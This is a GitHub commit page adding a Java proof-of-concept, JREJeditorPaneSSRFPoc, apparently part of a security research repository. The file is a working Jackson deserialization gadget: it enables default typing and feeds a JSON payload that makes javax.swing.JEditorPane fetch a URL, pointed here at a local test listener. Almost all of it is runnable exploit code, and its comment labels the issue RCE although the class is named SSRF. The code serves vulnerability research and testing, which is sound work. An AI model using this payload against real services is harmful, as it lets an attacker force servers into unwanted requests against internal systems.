Skip to content

Commit 0ab46a5

Browse files
author
“threedr3am”
committed
feat:jackson SSRF gadget - JeditorPane - jre
1 parent 4963c65 commit 0ab46a5

File tree

1 file changed

+25
-0
lines changed

1 file changed

+25
-0
lines changed
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.HTTPServer;
5+
import java.io.IOException;
6+
7+
/**
8+
* jackson-databind <= 2.9.10.3 and <= 2.10.2 RCE,需要开启DefaultType(JRE内置依赖)
9+
*
10+
* @author threedr3am
11+
*/
12+
public class JREJeditorPaneSSRFPoc {
13+
static {
14+
HTTPServer.PORT = 23234;
15+
HTTPServer.run(null);
16+
}
17+
18+
public static void main(String[] args) throws IOException {
19+
ObjectMapper mapper = new ObjectMapper();
20+
mapper.enableDefaultTyping();
21+
22+
String json = "[\"javax.swing.JEditorPane\", {\"page\":\"http://127.0.0.1:23234?a=1&b=2222\"}]";
23+
mapper.readValue(json, Object.class);
24+
}
25+
}

0 commit comments

Comments
 (0)